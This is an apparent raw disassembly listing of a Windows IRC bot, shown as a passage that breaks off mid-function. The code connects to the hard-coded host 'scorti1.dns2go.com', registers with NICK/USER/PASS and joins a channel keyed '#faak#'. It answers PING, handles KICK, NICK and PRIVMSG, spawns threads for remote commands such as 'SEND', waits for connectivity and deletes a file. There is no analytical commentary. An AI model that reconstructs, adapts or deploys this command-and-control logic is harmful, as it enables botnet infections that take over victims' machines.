; CODE XREF: sub_40CB17+137j ; sub_40CB17+2B9j cmp ds:dword_4C90A0, 2 jle short loc_40CE46 mov eax, ds:dword_4C90A4 push dword ptr [eax+4] call sub_4159EF pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_422148 ; WaitForSingleObject push esi call ds:off_422074 mov eax, ds:dword_4C90A4 cmp [eax+8], ebx jz short loc_40CE46 push 7D0h call ds:dword_422054 ; Sleep mov eax, ds:dword_4C90A4 push dword ptr [eax+8] call ds:dword_42213C ; DeleteFileA loc_40CE46: ; CODE XREF: sub_40CB17+2EAj ; sub_40CB17+314j cmp ds:dword_42ACD8, ebx jz short loc_40CE63 cmp ds:dword_436538, ebx jnz short loc_40CE63 lea eax, [ebp+var_5F4] push eax call sub_40A7C2 pop ecx loc_40CE63: ; CODE XREF: sub_40CB17+335j ; sub_40CB17+33Dj lea eax, [ebp+var_E4] push offset dword_42AEA8 push eax call sub_415480 push ebx lea eax, [ebp+var_E4] push ebx push eax call sub_414F2C lea eax, [ebp+var_E4] push eax call sub_40A5B3 push 0B80h push ebx push offset dword_43B140 call sub_415500 call sub_4154DC push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4C8CCC mov ds:dword_4C8E40, ebx call sub_416D30 mov eax, ds:dword_42ACB8 push 3Fh mov edi, offset dword_4C8D4C push offset aFaak ; "#faak#" push edi mov ds:dword_4C8E1C, eax call sub_416D30 push 3Fh mov esi, offset dword_4C8D8C push offset aSaad_ ; "saad." push esi call sub_416D30 add esp, 48h mov ds:dword_4C8E20, ebx loc_40CEF1: ; CODE XREF: sub_40CB17+480j ; sub_40CB17+48Bj ... mov [ebp+var_4], ebx loc_40CEF4: ; CODE XREF: sub_40CB17+434j cmp ds:dword_436550, ebx jnz short loc_40CF12 lea eax, [ebp+var_20] push ebx push eax call ds:dword_4363AC ; InternetGetConnectedState test eax, eax jnz short loc_40CF12 push 7530h jmp short loc_40CF3E ; --------------------------------------------------------------------------- loc_40CF12: ; CODE XREF: sub_40CB17+3E3j ; sub_40CB17+3F2j push offset dword_4C8CC8 mov ds:dword_4C8E3C, ebx call sub_40D000 cmp eax, 2 mov [ebp+var_8], eax jz loc_40CFEC cmp ds:dword_4C8E3C, ebx jz short loc_40CF39 dec [ebp+var_4] loc_40CF39: ; CODE XREF: sub_40CB17+41Dj push 0BB8h loc_40CF3E: ; CODE XREF: sub_40CB17+3F9j call ds:dword_422054 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_40CEF4 cmp [ebp+var_8], 2 jz loc_40CFEC cmp [ebp+var_C], ebx jz short loc_40CF9C push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4C8CCC call sub_416D30 mov eax, ds:dword_42ACB8 push 3Fh push offset aFaak ; "#faak#" push edi mov ds:dword_4C8E1C, eax call sub_416D30 push 3Fh push offset aSaad_ ; "saad." push esi call sub_416D30 add esp, 24h mov [ebp+var_C], ebx jmp loc_40CEF1 ; --------------------------------------------------------------------------- loc_40CF9C: ; CODE XREF: sub_40CB17+443j cmp ds:byte_42AD68, bl jz loc_40CEF1 push 7Fh push offset byte_42AD68 push offset dword_4C8CCC call sub_416D30 mov eax, ds:dword_42ACBC push 3Fh push offset aFaak_0 ; "#faak#" push edi mov ds:dword_4C8E1C, eax call sub_416D30 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_416D30 add esp, 24h mov [ebp+var_C], 1 jmp loc_40CEF1 ; --------------------------------------------------------------------------- loc_40CFEC: ; CODE XREF: sub_40CB17+411j ; sub_40CB17+43Aj call sub_4150F5 loc_40CFF1: ; CODE XREF: sub_40CB17+A1j ; sub_40CB17+B1j call ds:dword_4363C8 ; WSACleanup loc_40CFF7: ; CODE XREF: sub_40CB17+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40CB17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D000 proc near ; CODE XREF: sub_40CB17+406p ; DATA XREF: sub_40D2E0+3B0Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40D025: ; CODE XREF: sub_40D000+E6j ; sub_40D000+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415500 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call ds:dword_436468 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_409410 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40D152 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_415500 push 0 lea eax, [ebp+var_2C] push ds:dword_4C8E30 push ds:dword_42ACE4 push eax call sub_41416F mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43BED8 push edi push eax call sub_416D30 add esp, 28h push 6 push 1 push 2 call ds:dword_4364E8 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov ds:dword_43BECC[eax], esi lea eax, [ebp+var_10] push eax push esi call ds:dword_436410 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40D0EB push esi call ds:dword_436500 ; closesocket call sub_409439 push 7D0h loc_40D0E0: ; CODE XREF: sub_40D000+146j call ds:dword_422054 ; Sleep jmp loc_40D025 ; --------------------------------------------------------------------------- loc_40D0EB: ; CODE XREF: sub_40D000+CDj lea eax, [ebp+var_18C] push eax push offset dword_42AEDC call sub_40A627 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40D168 add esp, 28h mov edi, eax push esi call ds:dword_436500 ; closesocket test edi, edi jz loc_40D025 cmp edi, 1 jnz short loc_40D148 push 0DBBA0h jmp short loc_40D0E0 ; --------------------------------------------------------------------------- loc_40D148: ; CODE XREF: sub_40D000+13Fj cmp edi, 2 jz short loc_40D156 jmp loc_40D025 ; --------------------------------------------------------------------------- loc_40D152: ; CODE XREF: sub_40D000+5Aj xor eax, eax jmp short loc_40D162 ; --------------------------------------------------------------------------- loc_40D156: ; CODE XREF: sub_40D000+14Bj push [ebp+var_34] call sub_415248 pop ecx push 2 pop eax loc_40D162: ; CODE XREF: sub_40D000+154j pop edi pop esi leave retn 4 sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D168 proc near ; CODE XREF: sub_40D000+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_415D00 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40D186: ; CODE XREF: sub_40D168+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40D186 cmp ds:byte_4C8E38, bl jz short loc_40D1AD push offset byte_4C8E38 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40BAA1 add esp, 0Ch loc_40D1AD: ; CODE XREF: sub_40D168+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_41416F add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_415480 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call ds:dword_4364B8 ; send cmp eax, 0FFFFFFFFh jnz short loc_40D217 push [ebp+arg_0] call ds:dword_436500 ; closesocket push 1388h call ds:dword_422054 ; Sleep loc_40D210: ; CODE XREF: sub_40D168+D9j ; sub_40D168+153j xor eax, eax loc_40D212: ; CODE XREF: sub_40D168+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D217: ; CODE XREF: sub_40D168+92j ; sub_40D168+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call ds:dword_436480 ; recv test eax, eax jle short loc_40D210 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_408EAE pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40D217 lea edi, [ebp+var_A10] loc_40D268: ; CODE XREF: sub_40D168+165j push 1 pop esi loc_40D26B: ; CODE XREF: sub_40D168+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40D2E0 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40D2AE push 7D0h call ds:dword_422054 ; Sleep jmp short loc_40D26B ; --------------------------------------------------------------------------- loc_40D2AE: ; CODE XREF: sub_40D168+137j cmp esi, 0FFFFFFFDh jz short loc_40D2D8 cmp esi, 0FFFFFFFEh jz short loc_40D2D4 cmp esi, 0FFFFFFFFh jz loc_40D210 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40D268 jmp loc_40D217 ; --------------------------------------------------------------------------- loc_40D2D4: ; CODE XREF: sub_40D168+14Ej push 1 jmp short loc_40D2DA ; --------------------------------------------------------------------------- loc_40D2D8: ; CODE XREF: sub_40D168+149j push 2 loc_40D2DA: ; CODE XREF: sub_40D168+16Ej pop eax jmp loc_40D212 sub_40D168 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2E0 proc near ; CODE XREF: sub_40D168+12Ap var_15B0 = byte ptr -15B0h var_11B0 = byte ptr -11B0h var_FB0 = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh var_BAC = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = byte ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_3FC = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh var_2E8 = dword ptr -2E8h var_2DC = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call sub_415D00 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2DC] push ebx push eax mov [ebp+var_C0], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_DC], ebx call sub_415500 push 1Bh lea eax, [ebp+var_928] push [ebp+arg_10] push eax call sub_416D30 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40D6A7 push esi lea eax, [ebp+var_FB0] push ebx push eax call sub_415500 dec esi lea eax, [ebp+var_FB0] push esi push [ebp+arg_0] push eax call sub_416D30 lea eax, [ebp+var_FB0] push offset asc_42E574 ; " :" push eax call sub_415A50 mov [ebp+var_C], eax lea eax, [ebp+var_FB0] push esi push eax lea eax, [ebp+var_11B0] push eax call sub_416D30 mov esi, offset asc_425D24 ; " " lea eax, [ebp+var_11B0] push esi push eax call sub_416C8F add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_BC], 1Fh loc_40D3B3: ; CODE XREF: sub_40D2E0+E7j push esi push ebx call sub_416C8F mov [edi], eax pop ecx add edi, 4 dec [ebp+var_BC] pop ecx jnz short loc_40D3B3 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40D6A7 cmp [ebp+var_90], ebx jz loc_40D6A7 push 100h lea eax, [ebp+var_A28] push ebx push eax call sub_415500 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40D401: ; CODE XREF: sub_40D2E0+153j mov eax, [ecx] cmp eax, ebx jz short loc_40D42D cmp byte ptr [eax], 2Dh jnz short loc_40D435 cmp [eax+2], bl jnz short loc_40D435 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40D42D: ; CODE XREF: sub_40D2E0+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40D401 loc_40D435: ; CODE XREF: sub_40D2E0+12Aj ; sub_40D2E0+12Fj cmp [ebp+var_9B5], bl jz short loc_40D440 mov [ebp+var_8], edi loc_40D440: ; CODE XREF: sub_40D2E0+15Bj cmp [ebp+var_9BA], bl jz short loc_40D44E mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40D44E: ; CODE XREF: sub_40D2E0+166j cmp byte ptr [esi], 0Ah jz short loc_40D488 push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_416D30 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D8] push eax call sub_416D30 lea eax, [ebp+var_D8] push offset asc_42E570 ; "!" push eax call sub_416C8F add esp, 20h loc_40D488: ; CODE XREF: sub_40D2E0+171j push esi push offset aPing ; "PING" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40D4D9 push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40BAA1 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40D57D push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 10h jmp loc_40D57D ; --------------------------------------------------------------------------- loc_40D4D9: ; CODE XREF: sub_40D2E0+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413541 push esi push offset a005 ; "005" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413541 push esi push offset a302 ; "302" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40D541 push offset a@ ; "@" push [ebp+var_88] call sub_415A50 pop ecx cmp eax, ebx pop ecx jz short loc_40D57D inc eax push 9Fh push eax push [ebp+arg_1C] call sub_416D30 jmp short loc_40D57A ; --------------------------------------------------------------------------- loc_40D541: ; CODE XREF: sub_40D2E0+238j push esi push offset a433 ; "433" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40D584 push ebx push ds:dword_4C8E30 push ds:dword_42ACE4 push [ebp+arg_10] call sub_41416F add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40BAA1 loc_40D57A: ; CODE XREF: sub_40D2E0+25Fj add esp, 0Ch loc_40D57D: ; CODE XREF: sub_40D2E0+1D8j ; sub_40D2E0+1F4j ... mov eax, edi jmp loc_40D6AA ; --------------------------------------------------------------------------- loc_40D584: ; CODE XREF: sub_40D2E0+270j mov esi, [ebp+arg_18] mov [ebp+var_BC], 2 mov edi, 80h loc_40D596: ; CODE XREF: sub_40D2E0+2DBj lea eax, [ebp+var_AA8] push eax push esi call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40D5B3 mov [ebp+var_AC], 1 loc_40D5B3: ; CODE XREF: sub_40D2E0+2C7j add esi, edi dec [ebp+var_BC] jnz short loc_40D596 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40D6AF mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40D5E2: ; CODE XREF: sub_40D2E0+392j cmp [esi], bl jz loc_40D66D push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_416D30 lea eax, [ebp+var_D8] add esp, 0Ch test eax, eax jz short loc_40D66D cmp [ebp+var_88], ebx jz short loc_40D66D push [ebp+var_88] lea eax, [ebp+var_D8] push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40D66D lea eax, [ebp+var_D8] mov [esi], bl push eax lea eax, [ebp+var_2DC] push offset dword_42E4F4 push eax call sub_415480 add esp, 0Ch lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40BAA1 lea eax, [ebp+var_2DC] push eax call sub_40A5B3 add esp, 14h loc_40D66D: ; CODE XREF: sub_40D2E0+304j ; sub_40D2E0+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40D5E2 push [ebp+var_88] push [ebp+arg_10] call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40D6A7 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40D69C: ; CODE XREF: sub_40D2E0+618j ; sub_40D2E0+978j push [ebp+arg_4] call sub_40BAA1 loc_40D6A4: ; CODE XREF: sub_40D2E0+57D8j ; sub_40D2E0+57F5j ... add esp, 10h loc_40D6A7: ; CODE XREF: sub_40D2E0+5Bj ; sub_40D2E0+F1j ... push 1 loc_40D6A9: ; CODE XREF: sub_40D2E0+5CEBj pop eax loc_40D6AA: ; CODE XREF: sub_40D2E0+29Fj ; sub_40D2E0+229Dj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D6AF: ; CODE XREF: sub_40D2E0+2F2j push esi push offset aNick ; "NICK" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40D805 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40D6D8: ; CODE XREF: sub_40D2E0+44Aj lea eax, [ebp+var_AA8] push eax push esi call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40D725 lea eax, [ebp+var_AA8] push 21h push eax call sub_417070 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40D725 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_415B90 push [ebp+arg_1C] push edi call sub_415BA0 add esp, 10h mov edi, 80h loc_40D725: ; CODE XREF: sub_40D2E0+409j ; sub_40D2E0+420j add esi, edi dec [ebp+arg_0] jnz short loc_40D6D8 lea eax, [ebp+var_D8] test eax, eax jz loc_40D6A7 cmp [ebp+arg_24], ebx jz loc_40D6A7 push [ebp+arg_10] lea eax, [ebp+var_D8] push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40D76D push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_416D30 add esp, 0Ch jmp loc_40D6A7 ; --------------------------------------------------------------------------- loc_40D76D: ; CODE XREF: sub_40D2E0+476j mov edi, [ebp+arg_18] xor esi, esi loc_40D772: ; CODE XREF: sub_40D2E0+4B3j cmp [edi], bl jz short loc_40D789 lea eax, [ebp+var_AA8] push eax push edi call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40D79A loc_40D789: ; CODE XREF: sub_40D2E0+494j inc esi add edi, 80h cmp esi, 2 jl short loc_40D772 jmp loc_40D6A7 ; --------------------------------------------------------------------------- loc_40D79A: ; CODE XREF: sub_40D2E0+4A7j lea eax, [ebp+var_AA8] push 21h push eax call sub_417070 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40D6A7 push eax call sub_415C80 push [ebp+arg_24] mov edi, eax call sub_415C80 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40D6A7 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_1 ; ":%s%s" push esi call sub_415480 push ebx lea eax, [ebp+var_4C0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40BAE7 add esp, 24h jmp loc_40D6A7 ; --------------------------------------------------------------------------- loc_40D805: ; CODE XREF: sub_40D2E0+3DEj push esi push offset aPart ; "PART" call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40D827 push esi push offset aQuit ; "QUIT" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40D84E loc_40D827: ; CODE XREF: sub_40D2E0+534j mov edi, [ebp+arg_18] xor esi, esi loc_40D82C: ; CODE XREF: sub_40D2E0+56Cj cmp [edi], bl jz short loc_40D842 push [ebp+var_94] push edi call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40D89C loc_40D842: ; CODE XREF: sub_40D2E0+54Ej inc esi add edi, 80h cmp esi, 2 jl short loc_40D82C loc_40D84E: ; CODE XREF: sub_40D2E0+545j push [ebp+var_90] push offset a353 ; "353" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40D8FD push [ebp+var_84] push [ebp+arg_8] call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40D885 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40D885: ; CODE XREF: sub_40D2E0+59Aj push [ebp+var_84] push offset dword_42E498 loc_40D890: ; CODE XREF: sub_40D2E0+5B47j ; sub_40D2E0+5E96j ... call sub_40A627 pop ecx loc_40D896: ; CODE XREF: sub_40D2E0+5FABj pop ecx jmp loc_40D6A7 ; --------------------------------------------------------------------------- loc_40D89C: ; CODE XREF: sub_40D2E0+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_42E468 push eax call sub_415480 lea eax, [ebp+var_2DC] push eax call sub_40A5B3 push [ebp+var_90] push offset aPart ; "PART" call sub_4158A0 add esp, 18h test eax, eax jnz loc_40D6A7 lea eax, [ebp+var_2DC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40D69C ; --------------------------------------------------------------------------- loc_40D8FD: ; CODE XREF: sub_40D2E0+582j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4158A0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40D951 push [ebp+var_90] push edi call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40D951 push [ebp+var_90] push offset dword_42E464 call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_4133B5 cmp ds:dword_42ACD0, ebx jz loc_4133B5 loc_40D951: ; CODE XREF: sub_40D2E0+637j ; sub_40D2E0+649j push [ebp+var_90] push esi call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_40DADD push [ebp+var_90] push edi call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_40DADD mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_C0], esi loc_40D998: ; CODE XREF: sub_40D2E0+8B9j ; sub_40D2E0+94Dj ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_42E45C mov [ebp+arg_8], eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40DDDD push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40DC98 cmp [ebp+var_AC], ebx jz loc_40DC6E push [ebp+esi+var_8C] mov edi, offset aS_2 ; "%s" lea eax, [ebp+var_6F4] push edi push eax call sub_415480 add esp, 0Ch lea eax, [ebp+var_708] push [ebp+esi+var_88] push edi push eax call sub_415480 push [ebp+esi+var_84] call sub_4159EF mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_416D30 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_42E418 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_414F2C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40AEC8 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz loc_40DC5D loc_40DAC7: ; CODE XREF: sub_40D2E0+7FBj cmp [ebp+var_560], ebx jnz loc_40DC90 push 32h call ds:dword_422054 ; Sleep jmp short loc_40DAC7 ; --------------------------------------------------------------------------- loc_40DADD: ; CODE XREF: sub_40D2E0+681j ; sub_40D2E0+697j push [ebp+var_90] push edi call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40DAF6 mov [ebp+var_4], 1 loc_40DAF6: ; CODE XREF: sub_40D2E0+80Dj cmp [ebp+var_8C], ebx jz loc_40D6A7 push (offset loc_4259A3+1) push [ebp+var_8C] call sub_415A50 pop ecx test eax, eax pop ecx jz short loc_40DB1D cmp [ebp+var_4], ebx jz short loc_40DB29 loc_40DB1D: ; 